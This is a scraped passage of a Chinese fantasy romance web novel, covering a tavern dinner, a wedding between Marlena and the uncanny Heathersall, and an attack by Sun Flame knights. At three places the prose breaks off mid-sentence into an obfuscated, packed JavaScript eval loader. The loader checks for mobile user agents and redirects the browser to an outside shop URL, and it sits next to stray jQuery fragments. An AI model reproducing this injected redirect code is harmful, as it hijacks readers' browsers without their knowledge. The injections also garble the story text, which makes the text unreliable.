“是,我好饿,好想吃——” 说到一半,他停顿了一下。 “你......” 玛莲娜用鼓励的眼神望着他,等着他继续说下去。 “你喜欢的食物。”他补充。 “我读过《风味大陆:旅游指南》,作者推荐了阿斯特隆的烤炉酒馆。要不然,我们去那一家吃饭?” 希瑟尔没有拒绝。 玛莲娜拉着他走到巷外,询问公爵府护卫:“你们有没有去过烤炉酒馆?谁知道路线?” 护卫们没有给出回应,像是没听到她说话。 她皱起眉头,不自觉握紧希瑟尔的手指,重复了一遍问题。 “你们——” 还没等她说完,护卫们异口同声回答:“不知道。” 玛莲娜拿起地图,比对道路,带着希瑟尔顺利找到了烤炉酒馆。 这座餐厅门面朴素,装修老旧,墙面上保留着一百年前的绘画。 酒馆室内已然满员,露天座位也尽数被占。四名侍者满头大汗,忙得不可开交。 玛莲娜环视四周,挑选了一处位于角落的座位。 此时,两名食客刚刚坐下,还未点餐。 玛莲娜认为,她将来要统治阿斯特隆,倘若派五名护卫强行占座,未免过于豪横。 她不妨先低调坐下吃饭,婚礼之后再宣扬自己今日的“低调”,塑造亲民的形象。 咚。 半袋银币出现在桌子中央。 玛莲娜面带微笑:“您二位如果愿意,是否可以和我们——” “太愿意了!谢谢您,美丽的女士!” 两位食客没有丝毫犹豫,还未等玛莲娜把话说完,就让出了座位。 玛莲娜坐在希瑟尔对面,向他介绍招牌菜品:“据说,这家餐厅的烤猪肘非常好吃。如果你对猪肉没兴趣,可以点炸牛排。噢,对了,这家的麦酒也很有名......” 希瑟尔凝视着她的嘴唇,喉结滚动了一下。 “希瑟尔,你想吃什么?” “你。” 玛莲娜替他填充了语句:“你要和我点一样的菜?” “可以。”希瑟尔回答。 她招手唤来侍者。 “两份烤猪肘,两杯麦酒,两块梅果派。餐前面包就不用上了。” 说完,她交给侍者一大袋银币。 “剩下的钱,用来请在场的所有人吃饭。” 玛莲娜准备先低调做些好事。婚礼之后,她会派下属在城中宣传这些好事。 那时,受她恩惠之人自然会知晓她的身份,协助她传播美名。 “请您稍等!”侍者表现出极大的热情,向后厨走去。 玛莲娜突然发觉,桌子底下有什么东西抵住了她右腿的下半段。 一定是希瑟尔的腿。 她皮笑肉不笑,抬起左腿,与右腿一上一下夹住了他的触腕。 “你既对他们笑,也对我笑。” 希瑟尔平静地陈述事实。 玛莲娜轻笑了一声:“嗯?怎么了?你不乐意?” 希瑟尔向她展露无瑕的笑容的同时,抛出了一个问题:“你也想跟他们结婚吗?” “希瑟尔,我对这些陌生人微笑,只是出于友好的态度。我对你微笑,是因为我喜欢你。”她一本正经。 他上半身前倾,离她更近了些:“喜欢......” “是啊,我喜欢你,才想跟你结婚。希瑟尔,你很特别,和其他人都不一样。” 希瑟尔抽回了桌下的触腕,不让她压着:“你拿我跟其他人类比较?” 玛莲娜在心中暗骂了一声“有病”。他可真是擅长抓重点啊! 她懒得想理由应付他,便直接握住他的手,笑容温柔。 “......” 她与他对视良久,未发一言。 与他相处的时候,没有什么可聊的,让她感到颇为无趣。 这时,有一名圆脸女子来到二人桌前。 “玛莲娜小姐,真是太巧了。您竟然前来光顾我家的餐厅。” “丹娜女士?您是这家餐厅的主人?” 玛莲娜十分惊讶。她的家庭教师丹娜居然是烤炉酒馆的老板? 丹娜春风满面:“是啊,它现在由我负责管理。” “我读过《风味大陆》,作者特意推荐了烤炉酒馆。没想到,它竟然是您的产业。” 丹娜压低了声音:“其实,那套书的作者梅拉是我的老师。早年,我跟着她四处游历。在我的央求之下,她才帮忙给餐厅写了推荐。” “而且,我还请她杜撰出一名态度很差的侍者。”她笑得很开怀。 玛莲娜心领神会:“为了体现评价的真实性?” “嘘——这是秘密。” “您的老师梅拉身体还好吗?我很喜欢她的书。” “她......二十年前就去世了。” 玛莲娜遗憾地说道:“抱歉。” 为了避免尴尬,她紧接着转移了话题:“说起来,我这几日太忙,中断了课业。等结婚之后,我想补一补落下的课。倘若您可以来公爵府长住,那真是太好了。” “没问题。你放心,玛莲娜小姐。” “对了,我还要邀请您参加婚礼。” 两人聊得热火朝天。 片刻之后,侍者端来了菜品。 “噢,我先不打扰了,你慢慢吃。” 丹娜先行告退。 “她是你的老师,”希瑟尔眸光微动,“我不要和你结婚,我要当你的老师。” 玛莲娜极为震惊:“为什么?” 她倒想听听,他的脑袋里又冒出了什么新想法。 “刚才,你与她攀谈,始终没有看向我。对你来说,老师与学生的关系,比丈夫与妻子的关系更加亲密。” 火光轻曳,在他的面庞投下浅淡的阴影,映衬出无瑕的五官轮廓,漂亮到不真实。 玛莲娜无奈地解释道:“老师就是老师,丈夫就是丈夫,一点也不一样。” “我要当你的老师,也要当你的丈夫。” 希瑟尔拿起刀叉,切下一块猪肘肉,放入她盘中。 玛莲娜托腮:“你能教会我什么?读词典?” “捕猎。”公爵之子同样用手托着脸颊,宛如她的镜像。 他不介意现场抓住两个人类,向她展示狩猎过程。 玛莲娜摇头:“我很忙,没时间出去打猎。更何况,我本来就学过马术和射箭。” 希瑟尔沉默了片刻。 “吃。” 他切下一块猪肉,递到她面前。 玛莲娜低头叼住食物,毫不客气地就着他的叉子吃了下去。 她调侃道:“我以前在书中读到过,雄鸟求偶时,会给伴侣喂食。” 希瑟尔效仿她不悦时的神情,眉头微蹙:“我不是鸟。” “那你是在向我求偶吗?” “我的目的并非繁衍。” 她是他的猎物。他被她吸引,想要完完全全将她据为己有。 希瑟尔压下躯体内的躁动,端坐于桌前。 玛莲娜逗弄他:“那你为什么要答应和我结婚?” 他的回答简洁明了:“我要和你在一起。” 玛莲娜觉得有些无趣。 “好吧,你先把晚餐吃了。” 希瑟尔放下了刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993335|134975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叉:“难吃。” 玛莲娜叹息:“你若是早说,我就不会给你点这些菜。” “你吃。” 她反问:“你把不想吃的东西丢给我吃?” 对于这个问题,希瑟尔迟迟没有给出回应。 一根触腕显露原形,在桌下的阴暗处大幅度甩动,躁郁而不安。 随后,它末端伸直,抵住玛莲娜的鞋尖,力道逐渐增强。 玛莲娜察觉到脚尖的不对劲,果断低头看向桌子底下。 猩红色鳞片,长条形身躯——她脚边躺着一条蛇! 她推开桌子,立即站了起来,向后退了数步。 希瑟尔饶有兴致地盯着她的脸,没有收回触腕。 “怎么了?”他问玛莲娜,语气中带着疑惑。 灰紫色眼眸如同无云的星空,不含任何浑浊的杂质。 “有一条蛇——” 她站在远处,再次看向桌下。然而,赤蛇此时已经无影无踪。 “灯光有些昏暗,我看错了。” 玛莲娜表面上仍然维持着冷静,却握紧了藏于衣间的匕首。 希瑟尔后知后觉,猛地从座位上站了起来:“蛇?” 他学着她刚才的反应,后退了几步。 玛莲娜再次观察了一遍桌子底下:“没事,它不见了。” 那条蛇是幻觉,还是真实存在于世间? 她又想起公爵夫人的死亡,感到浑身发冷。 难道,她真的被诅咒了么? “你怕红色的蛇吗?” 希瑟尔的声音有些缥缈。 “怕?更准确得说,是厌恶。它们会咬人,危险性很大,”她眉头紧锁,离开了桌位,“我会离它们远远的。” “玛莲娜,你不打算继续用餐么?” “那里有蛇,我不想被咬。我们回府邸吧。” 希瑟尔与她对视了两秒,目光落在她握着匕首的那只手之上,没有移开。 他脸上缓缓露出笑容:“好啊。” 玛莲娜环顾四周,发现所有食客依旧在悠闲地享用美食,似乎对他们这桌的动静毫无察觉。 “玛莲娜?” 希瑟尔站在门口,侧过身等她。 她心不在焉地牵过马,刚要翻身上去,就被公爵之子拉住了手。 最后,他们二人共乘一马,晃晃悠悠朝公爵府邸行进。 玛莲娜坐在前面控制缰绳,回忆着今日的所见所闻。 没想到,丹娜竟然是这家百年老店的主人。 当时,她们二人攀谈—— 等一下,为什么丹娜只跟她打了招呼,而没有搭理希瑟尔? 即便丹娜不认识他,也不至于忽略他整个人吧? 希瑟尔本人,竟然也没有感到生气? 之后,她看到了蛇,从座位上跳了起来。周围食客毫无反应,仿佛没有看见她。 自从她搬进公爵府以来,种种诡异的迹象如同影子缀在她身后。 她想探查原因,却不知从何处查起。 玛莲娜掏出太阳护符,发现它仍旧发光,暂时放心了一些。 希瑟尔突然从身后环住她的腰,将下巴搁在她的肩膀上。 “我也讨厌蛇,希望它以后不会再出现。”他在她耳边低声说道。 玛莲娜没有回答他,直接敷衍地往他怀里一靠。 ------------------------------------- 烤炉酒馆一直营业至凌晨才打烊。 丹娜推门来到里间,一名戴着假皮面具的黑衣人坐在里面等她。 “这些日子接触下来,你觉得那个孩子如何?”黑衣人的声音虽然低沉,却饱含力量。 丹娜告诉对方:“她好学又好胜,确实没有枉费老师们的教导。” “听说,亚兰公爵病重,她马上就要和那位结婚了。” “说来也巧,她今天心血来潮,跑到这里来吃晚餐,点了两人份的菜。但是,我怎么也记不得和她一起吃饭的人究竟是谁。” “不要继续回忆了,”黑衣人拿出一颗深蓝色的宝石,交到她手中,“收好它。” 丹娜继续报告:“最近,日炎骑士与教士们也有动作。他们恐怕已经察觉到——” 黑衣人打断了她的话:“不用担心,我们做好善后就可以了。” 丹娜垂下眼眸:“她......今天居然提到了梅拉。她说,她很喜欢读梅拉的书。” 黑衣人沉默了,坐在椅上许久都没有说话。 “好好享受新公爵夫人的婚礼吧,丹娜。” 20. 第二十章 玛莲娜与公爵之子的婚礼定在五月的第一天。 这一日,阳光明媚,天空澄澈。树木披上油绿的铠甲,保卫着壮丽华美的府邸。 一辆又一辆马车在府邸正门外排起了长队,他们属于受到邀请的大小贵族。 多萝西娅站在台阶之下热情张罗着,和各位贵客谈笑风生。 玛莲娜坐在新卧房之中,由侍女们帮忙穿戴婚裙。 由于成婚较为仓促,这件裙子纯属赶工的产物,好在设计别出心裁。玛莲娜让设计师用耀眼的日晶石片代替了繁复的刺绣。金红色裙摆上方笼罩着多层薄纱,宛如晨曦,绚丽夺目,在光线下显示出渐变的色泽。 她坐在镜旁,挑选了一条宝石项链,戴在胸前。 侍女们突然像是得到了什么指令,还未给她盘发,便尽数退出了房间。 玛莲娜回头望向门口,看到了希瑟尔的身影。 她心里嫌他添乱,面上却是笑容依旧:“我头发还没理好,你怎么把侍女们都赶出去了?” 希瑟尔站在她身后,与她一同望向前面的镜子,将手掌轻轻搭在她双肩之上。 玛莲娜从他的手底下抽出了披散的发丝。 她问他:“你会编发么?你若是什么都不会,还是叫她们回来吧。” 希瑟尔看着镜中的她,冷声反问:“她们会的东西,我为何不会?” “那你来试试?” 她从桌上拿起梳子,塞进他手里。 希瑟尔盯着她的乌发,好像是在思考从哪个部位下手。 玛莲娜质疑他的能力:“你真的可以么?” 他一言不发,从上至下为她梳理乌发。 她笑了笑:“好了,我并不需要你替我梳头。我只是想跟你开个小玩笑罢了。” 希瑟尔手腕一顿,又继续刚才的动作。 “噢!你扯到我头发了。” “希瑟尔,慢一些。” “算了,我叫人来梳吧,不用麻烦你了。” “希瑟尔,你怎么还在梳?” “疼!” 玛莲娜忍无可忍,捂住了头发,站起来就要抢他手里的梳子。 眨眼之间,触腕一晃而过,梳子消失了。 希瑟尔向她展示空空如也的双手,神情格外无辜。 玛莲娜拉住他的手腕,翻开袖子,试图寻找梳子,却是徒劳。 他垂眸看着她的手指,任由她摆弄。 她晓之以理:“再拖下去就来不及了。我们还要出去面见客人呢。” 希瑟尔并不在意时间:“告诉我,头发怎么编。” 玛莲娜向他表达抗议:“侍女们可以帮我编。你先出去。” “不。”他拒绝了她,坚持赖在房间中不走。 她深吸一口气,坐回到椅子上。 “看好了,我只展示一遍。” 玛莲娜分出三缕发丝,指尖灵巧地捏住它们,交替着将左右两缕头发压在中间的那一缕之上,快速地编出细长的发辫。 编到一半,她停下了。 “学会了么?你试一试。” 出于报复的心理,她故意加快了演示动作,目的是让他知难而退。 希瑟尔默默摆弄起她的头发,一副认真的样子。 一根触足悄然伸出,辅助他的手指压住发丝。它正巧被玛莲娜的上半身挡住了,没有出现在镜子中。 片刻过后,他用触足尖端戳了戳她的肩膀,邀她验收。 玛莲娜拿起辫子,挑剔地检查了一下,发现他的手法堪称完美。 “这是发带,等你再编好两束辫子,就拿它固定。噢,还有这些宝石夹子......记得夹在这六处的头发上,注意间隔。” 触足的尖端愉悦地晃动了两下,卷住一只夹子,与其他两只手协作,快速完成了任务。 它似乎意犹未尽,又卷起发带的尾部,牢牢束好了发丝。 玛莲娜对着镜子照了一下,微微修饰了夹子的位置,对他的劳动予以感谢。 “真不错,谢谢你。” 尽管如此,公爵之子先前的固执态度还是让她有些不悦——他总是无视她的意愿。 得到表扬之后,希瑟尔走到她身侧,垂首望向她,仿佛在等待什么。 他想讨要奖励? 玛莲娜不假思索地伸出手,用手背在他脸颊上蹭了两下。 希瑟尔攥住她的手,定定地看着她的双眸。 “不够。” 他侧过脸,低头埋入她的手掌。喉结滚动,一根缺少鳞片的新生触腕从他唇缝中探出头,挠了挠她手心的肌肤。 玛莲娜瞪大眼睛——那柔软的触感令她记忆深刻。 他竟敢直接舔她的手? 另一只手蠢蠢欲动,随时准备赏他一记好耳光。 ......不过,算了。今天是婚礼之日,没必要横生事端。 “我们去见客人吧。” 玛莲娜向他展露微笑,随后挽住他的手臂,带他前往花园。 此时,已有二十余位客人到场。他们都是中小贵族,听命于亚兰公爵。 “多萝西娅夫人,您的女儿真是太美丽了!” “是啊,我也想要这样的女儿。” 人们毫不吝啬夸奖,似乎完全忘记了玛莲娜的私生女身份。 几位贵妇走上前,围着新娘嘘寒问暖。 里希塔伯爵夫人赞美道:“玛莲娜小姐,您今天真好看。” “谢谢您,我很荣幸。” 另一位女士快步来到她面前:“小姐,您批准了我们家族的贸易申请,我父亲对此感激不尽。可惜他年迈体弱,无法亲自上门感谢,所以由我代他前来.......” 玛莲娜礼貌回应道:“您实在不必感谢我。你们货物的质量一向非常好,我批准申请实属理所应当。总之,我很期待未来的合作。” “玛莲娜小姐,我儿子今年十三岁了。您是否能准许他成为您的侍从,进入公爵府历练一番?” “抱歉,其实我现在并不需要侍从。您不妨把他送进阿斯特隆的军营。” 她与贵族们攀谈起来,甚至讨论起各类事务,把希瑟尔晾在了一边。 “如果需要开垦这一块地——” 话说到一半,玛莲娜总算想起了新郎。 她转头望向希瑟尔,发现他正盯着自己,面无表情。 树影斑驳,将他的脸颊分割成明暗不同的色块,诡丽异常。 玛莲娜呼吸一窒,回过头告诉贵族们:“你们总跟我聊天,倒是冷落了希瑟尔。他才是今日的主角。” 在场的男女老少顿时鸦雀无声。 两秒过后,他们齐齐看向她身侧的希瑟尔,异口同声地向他问好:“希瑟尔大人,日安。” “日安。”希瑟尔惜字如金。 这么长时间,竟然无人向公爵之子问好? 玛莲娜察觉到其中的诡异,努力平复心中的紧张。 她年幼时曾经读过别人编写的鬼怪故事......希瑟尔就像是故事中的鬼魂,游荡于公爵府,体温冰冷,行踪不定。 很多时候,人们会忽略他的存在。 他们好像看不见他。 这合理吗?他长得十分美丽,应该更容易吸引其他人的注意才对。 此时此刻,她的想象力宛如脱缰的野马,在脑中驰骋。 希瑟尔真的是活人吗?还是说,他早就夭折于十六年前? 玛莲娜侧过头看向公爵之子,故作镇定:“他们没有跟你打招呼,你别生气。” 希瑟尔向她微笑,丝毫不似先前冷漠:“玛莲娜,你终于记得跟我说话了,真好。” 人群动了起来,贵族们纷纷向二人表示祝贺。 所有人都朝她露出微笑。 “新婚快乐!” “新婚快乐!” “新婚快乐!” 玛莲娜的视线落在多萝西娅的面庞之上。 母亲笑着祝贺她:“新婚快乐!” 玛莲娜向后退了一步。 多萝西娅走到她面前,关切地问道:“玛莲娜,怎么了?你的脸色有点苍白,是累到了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008454|134975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我一切都好。” 刚才发生的一切仿佛是她的错觉。此时此刻,贵族们又开启了新的聊天,有说有笑。 别多想,专注于当下就行了。玛莲娜告诉自己。 一位圆脸女士抵达公爵府。一名护卫戴着头盔,紧随其后。 玛莲娜亲自上前迎接:“丹娜女士!” “多谢你邀请我,玛莲娜小姐。噢,对了,她是我的护卫,负责保护我。”丹娜指了指身后的女人。 护卫的声音有些低沉:“您好,尊敬的玛莲娜小姐。” “欢迎来到公爵府。”玛莲娜对护卫一视同仁。 希瑟尔垂下眼眸,握住了新娘的手指。 远处,一辆金碧辉煌的马车驶来。十余位骑士身穿金红甲胄,骑马跟在它的周围。 贵族们议论纷纷。 “快看,日炎骑士团!” “马车里坐着的大人是主教么?他是来主持婚礼的吧?” 阿斯特隆地区的主教走下马车,由日炎骑士护送,步行至玛莲娜与公爵之子面前。 玛莲娜恭敬地向诸位圣职人员问好:“主教大人,欢迎来到公爵府。” 主教点头:“人都来齐了么?我们直接开始仪式吧。” 主教对她与希瑟尔并未表现出尊重,甚至没有问好。 玛莲娜面不改色:“没问题,您跟我来。” “等一下,”主教的目光掠过她的前胸,“你身上戴着什么?” 她上衣的夹层中翻出一块护符,大大方方地展示给主教看:“太阳神殿的护符。” 主教眯起眼睛:“原来如此,你真是个虔诚的孩子......走吧。” 府邸内有一处礼拜堂,规模与中型太阳圣殿相仿,能容纳得下一百五十人。 玛莲娜与希瑟尔面对面站在太阳圣像前方。宾客们按照地位高低入座,安静地等待仪式开始。 主教高举黄金圣杖,为尊贵的新人主持宣誓。 “伟大的太阳啊,我请您在此见证两位新人的结合——希瑟尔·亚兰与玛莲娜,愿太阳的光辉照耀你们的前路。” 黄金辉光由圣杖顶端向下倾泻,汇为一条又一条细线,组成太阳的形状。 主教的声音十分庄严:“请两位新人在太阳的见证下发下誓言。” 玛莲娜凝视着希瑟尔的眼睛,认真地发誓:“希瑟尔,我愿与你结为夫妻。正如太阳永不落下,我对你的爱永不褪色。从此刻开始,无论幸福还是困苦,我都将与你共度一生。” 希瑟尔攥住她的双手,与她对视:“玛莲娜,我会永远与你在一起,无论你位于何地。” 太阳的化身洒下金光,将两位新人笼罩。 主教的眉毛动了一下,随即高声吟诵道:“在神圣的太阳面前,你们的婚姻受到赐福。我宣布,希瑟尔·亚兰与玛莲娜正式结为夫妻。” 希瑟尔缓缓露出一抹微笑,捧住新娘的脸颊,主动吻了上去。 在所有人面前,玛莲娜表现得既紧张又惊喜。她环住新郎的脖颈,被动接受了那个吻。 众目睽睽之下,他肆无忌惮地向她索取。她感受到他冰凉的舌尖,无声地打了个冷战。出于恼怒,她一转攻势,用牙齿叼住那条作乱的东西,微微使劲。 这一次,她发现他的脖颈颤了一下。 玛莲娜顿时心情大好。 在场的宾客为两位新人献上了掌声。 接下来的流程,是巡视阿斯特隆。 玛莲娜需要换一套衣服,稍作休息,吃点东西,再从府邸出发,接受民众的欢迎。 ------------------------------------- 仪式结束,主教催动祷术,联络了那些负责护送的日炎骑士:“阿斯特隆的异动,必定出自公爵府邸。新娘身上带着异端的东西,亚兰公爵突发恶疾,也值得怀疑。” 骑士队长问主教:“是否需要启动秘密搜查的程序?” “让盖里爵士负责搜查。当务之急,是抓住那对母女俩,进行拷打审讯。” 21. 第二十一章 由于下午还要访问孤儿院等地,玛莲娜取下宝石发饰,换上了朴素的头花。 希瑟尔站在她身后,视线专注地追随着她的每一个动作。 “玛莲娜,你为什么不向我求助?” 他的声音宛如夜雾,环绕在她的耳畔。 玛莲娜在心中翻了个白眼,回过头对他说:“我自己有手。这点小事,几秒钟就能做完。” 希瑟尔绷紧了声音:“如此小事,你竟不愿意交给我来做。” “......很遗憾,我已经戴好头花了,不需要劳烦你帮忙。你难道要替我换裙子么?” “好。” 听到此处,他的瞳孔收缩了一瞬,灰紫色眼眸牢牢锁住了她的后背。 玛莲娜扬起眉毛,快速拆卸下裙子外层的轻纱:“哈哈,其实我不准备重新换其他的裙子呢。” 裙摆变得更薄,看起来轻便了许多。 她对裙子的设计十分满意:“看,这圈领子也能单独拆下来。” 说完,玛莲娜自顾自解开胸前的丝带,取下了脖颈后方的花边立领。 希瑟尔盯着她外露的脖颈,一步步向她走近。 一根触腕不受控制地从他身后探了出来。 “你说,你在酒馆看到了一条红色的蛇。你还说,你讨厌蛇。” 说完,希瑟尔垂眸望了一眼蠢蠢欲动的触腕。 触腕立即缩回到他的身后,却没有消失。 玛莲娜动作顿住:“红色的蛇?其实,我不太确定之前是不是看错了。” 希瑟尔为何突然提到蛇?这太奇怪了。 昨日,她看见蛇影的时候,希瑟尔也在场。 她不由想到先前跟鬼魂有关的猜测,后背发凉。 难道,希瑟尔确实早已死去?那条红蛇是他制造出的幻觉? 怀疑的种子不受控制地冒出了新芽。 玛莲娜努力平复内心的紧张,回头朝他笑了一下。 “你讨厌白色的蛇么?”希瑟尔的目光毫无波动。 触腕轻轻一颤,由猩红转变为纯白。 她故意露出嫌弃的表情,试探他的反应:“白色的蛇和红色的蛇有什么区别?我讨厌蛇——只要是蛇,都会咬人。” 希瑟尔神色未变:“那么,你会喜欢没有嘴巴的蛇吗?” 玛莲娜蹙眉:“难道你喜欢蛇,想养一条当宠物?否则,你为什么突然问我这些?可我记得你说过,你讨厌蛇。” “我有点好奇,为什么很多人喜欢养猫狗,却鲜少养蛇。” “你是未来的公爵,想养什么,随便你。只要不让它上床或是咬人,我倒是没什么意见。” “为什么不能让蛇上床?” “你的问题真奇怪啊。蛇整天在地上爬来爬去,也不洗澡,身上脏死了。我知道有一些人喜欢养蛇,但他们根本不会和蛇一起睡觉吧?” 公爵之子身后,数根触腕隐去身形,无声地翻腾、扩张。 其中一根触腕扒住自身表面的鳞片,烦躁地向外掰扯。 她作为猎物,居然嫌弃他的躯体!她竟敢不让他上床!她闻起来就很难吃,却反过来嫌弃他的触腕脏! 他不如现在就显露真身,让她恐惧,让她绝望,直到彻底屈服于他。 - 不知道是不是玛莲娜的错觉,周围的空气似乎有些发凉。 她转身面对镜子,装作若无其事,慢悠悠地摘取臃肿的项链,同时用余光观察身后之人的神情:“总之,你要么跟蛇一起睡,要么跟我一起睡。” 触腕突然停止了翻滚,一根接着一根蜷缩成团状。 她刚才说,一起睡...... 希瑟尔站在她身后,捉住了她摆弄项链的手指。 金属扣悄然断裂。他替她摘下项链,放置于镜子旁边。 玛莲娜微笑:“谢谢你——” 紫眸微微朝侧面转动了一下。 门外突然传来细碎的脚步声。 玛莲娜猛地从椅子上弹了起来,转过身面向卧室门。 整扇木门瞬间燃起熊熊大火,碎裂成渣。 六位日炎骑士现身,对着她摆出了战斗的姿势。 怎么回事?这些骑士不是阿斯特隆主教的人吗?他们为什么要对她下手? 玛莲娜心头一紧。 她明明什么都没有做。 等等,难道......母亲多萝西娅给公爵下毒的事情已然暴露? 这些骑士偷偷查验过公爵的身体? 六位骑士共同念诵祷言,催动火焰砸向玛莲娜。 热浪袭来,她后跳躲闪,厉声质问:“诸位闯入公爵府,究竟意欲何为?” 为首的高个子骑士警告她:“不要做徒劳的挣扎,速速跟我们走。” 玛莲娜从梳妆台后方抽出一把长剑:“说清楚捉拿我的缘由。” 倘若她真跟着他们走,无罪都要变成有罪了。 希瑟尔像是被骑士们吓呆了,愣在原地,没有动弹。 骑士队长没有停止攻击:“你身上那枚护符,是异端之物。你与异端勾结,罪不可恕!” 玛莲娜上蹿下跳,到处躲闪:“这枚护符来源于南部边境的神殿。分明是你们内部出了奸细!我建议诸位赶紧查一查自己人。” 日炎骑士根本不听她的辩解。 火焰攻势过于猛烈,而玛莲娜毕竟只是一个普通人,无法催动祷术反击。 她裙摆的左下角被击中。 火舌吞噬了她的裙摆,蔓延至腰部。 又有四道细长的火焰直奔她的手臂与长裤中段。 玛莲娜往公爵之子身后躲去。 这些骑士应该不会疯到杀死公爵的继承人吧? 希瑟尔神智回归,快速转过身,将她紧紧护在怀中。 玛莲娜缩在他胸前,眸中满是震惊。 这个家伙是不是傻子?躲都不躲? 玛莲娜心情复杂——无论公爵之子是否为正常人,他都选择替她挡下攻击。 火焰灼烧着希瑟尔的后背,势头渐猛。 骑士队长神情冷漠:“包庇异端者,无论身份,皆应受火刑。” 希瑟尔倒了下去,背部的血肉呈现出鲜红与焦黑的惨状。 与此同时,金线结成的细网迎头盖下,要将狼狈的新娘扣入其中。 玛莲娜躲无可躲,只能迎战。她用力朝头顶挥剑,试图挡住来袭的金网。 剑身瞬间汽化——普通武器显然无法抵挡祷术的强力一击。 铁剑尚且如此,她这副普通人的身体,必然无法承受金线的触碰。 在这千钧一发的时刻,玛莲娜出于本能压低身子,用双手护住头部。 金红细网刚触碰到她手背,忽然颜色变淡,奇迹般消融于空气之中。 “你果然得到了异端的帮助!” 骑士们大怒,继续朝她砸攻击型祷术。 然而,无论是何种祷术,只要触碰到她的身体,都会瞬间消失。 玛莲娜发现自己对祷术免疫,不禁狂喜,立即挥动手臂抵挡攻击。 “直接拿剑劈刺,别用祷术!” 六位骑士果断围住她,用剑刺向她的不同部位。 玛莲娜迅速推算敌人剑尖刺向的方位,思考着躲避的方法。 “哐当”六声,金属相击。 一道黑影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025495|134975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闪到她身前,以惊人的速度依次挡下了所有攻击。 “噗——” 鲜血飞溅,短短三秒内,六位骑士的喉咙皆被此人割开。 日炎骑士倒地死去,一切归于平静。 玛莲娜压下心中的惊骇,转身看向救她的人,发现对方是一名女子。 女人摘下头盔,露出被火烧伤的可怖面庞。 “我叫劳拉。” 玛莲娜认出了她:“你是......丹娜女士的护卫?谢谢你救了我的命!” “刚才,有六个骑士围捕你的母亲。放心,丹娜已经救下了她。” 劳拉的声音较为低沉,却饱含力量。 玛莲娜浑身发冷——她们母女二人究竟如何得罪了教会,竟引得教会追捕? 因为她们害了亚兰公爵? 不,这些日炎骑士动起手来根本不管公爵之子的死活,大概也不在意公爵中毒的真相。 难道......是因为她的护符? 骑士们声称,这枚护符是异端之物。 难道它蕴含着“异端”的力量,可以帮她抵挡住祷术的攻击? 她翻出护符看了一眼。 从外观上来看,它长得跟神殿的护符一模一样,表面闪烁着淡淡的金光——这代表护符仍未失效。 玛莲娜向劳拉表达了感谢:“太好了,我真不知道应该如何报答你们的恩情!” “受人所托,不求回报。” “我母亲情况还好吗?她有没有受伤?” “不用担心,她很好。” “谢谢你们!” “不必言谢,保护你们二人,是我们的职责。十六年前起,我们的人就一直照顾着你。还记得那三位家庭教师么?” 玛莲娜还在子爵府的时候,由三位老师教授文法、历史、骑术等课程。他们拥有相似的来历,后来在同一时间离开了子爵府。 玛莲娜恍然大悟:“怪不得丹娜女士对我的学习进度一清二楚。她能成为我的家庭教师,并非偶然。” 劳拉又提到一事:“十六年来,由于我们提前打过招呼,南部边境的主教没有找过你们母女俩的麻烦。这名主教与我们交好。可惜,他最近遭遇刺杀,不幸身陨。” “原来如此......。” 可是,这些优待背后的原因到底是什么呢?玛莲娜不敢相信,除了母亲,世上还有其他人会尽心尽力待她好。 玛莲娜用笑容掩饰内心的质疑:“我如此普通,真的值得你们保护吗?其实,我很想为你们做些什么。如果你们有需要——” 劳拉对此讳莫如深:“你很特别。至于我们要你做什么......等时机成熟,你自然会明白。” 玛莲娜感到很困惑。 除了那枚可以抵挡祷术攻击的异端护符,她身上还有什么特别之处? 等等,既然护符很特殊,丹娜与劳拉为什么不直接拿走护符? 隐秘的猜测浮上心头——难道让祷术无效化的力量并非来源于护符,而是来自她本身? 但是,这怎么可能呢? 玛莲娜追问:“你们究竟效忠于何人?” 劳拉的回答依旧模糊:“民众,生灵,这片大陆?反正,不是太阳。” “玛莲娜......” 一道虚弱却悦耳的呼唤声挤入空气之中,勾走了玛莲娜的注意。 希瑟尔先前承受过火焰的攻击,后背血肉模糊。 他艰难喘息着,挪动手臂,一点一点爬到新娘脚边,拽住了她的裤腿。 “希瑟尔?” 玛莲娜唇瓣微张,按住自己的脸颊——她刚才彻底忘记了自己的新婚丈夫。 22. 第二十二章 希瑟尔对玛莲娜以外的人掩藏了身形,却任由自己的声音回荡于房间之中。这是一种警告的信号。 劳拉察觉到祂的存在,面色惨白。 她一言未发,紧紧攥住一枚深色的宝石,缓慢退出房间,把私人空间留给了新婚的夫妇。 希瑟尔始终都仰望着玛莲娜,根本没有理会劳拉。 他的脸庞苍白如冰雪——这似乎是失血过多的征兆。 “我会不会死?”他问她。 